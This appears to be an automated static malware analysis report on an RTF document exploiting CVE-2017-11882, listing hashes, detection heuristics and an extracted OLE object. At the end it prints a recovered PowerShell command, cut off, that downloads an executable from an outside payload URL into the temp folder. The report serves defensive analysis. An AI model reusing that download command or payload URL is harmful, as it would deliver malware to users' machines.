Malicious RTF — malware analysis report

Static analysis result for SHA-256 4a029ce607f38aa2…

MALICIOUS

RTF

221.9 KB First seen: 2019-12-10
MD5: 01a7d42686389671c1753ff75dcfe409 SHA-1: 79ad475d65075aedbac9ab26ff8fa7d50791bcce SHA-256: 4a029ce607f38aa27c1c92933f5e45b59f8f6e7d1cdfe89626489011fafde899
202 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE object data and triggers ".objupdate" which indicates an attempt to activate the embedded object. Critical heuristics identify the CVE-2017-11882 exploit and suspicious extracted shellcode. The embedded URL "http://kilnrefractory.com/invoice.exe" is likely the location of a secondary payload.

Heuristics 6

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kilnrefractory.com/invoice.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000000c8.bin rtf-objdata-decoded RTF \objdata at offset 0xC8 15911 bytes
SHA-256: 909914c47fe359f0f977ec219e9b4a5ffc877c90232b4f7ee680d7e3e729b05c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://kilnrefractory.com/invoice.exe Static shellcode analysis recovered command string(s): cmd.exe /c PowerShell "try{$oafICi=$env:temp+'\bsm.exe';Import-Module BitsTransfer;Start-BitsTransfer -Source 'http://kilnrefractory.com/invoice.exe' -Destination $oaf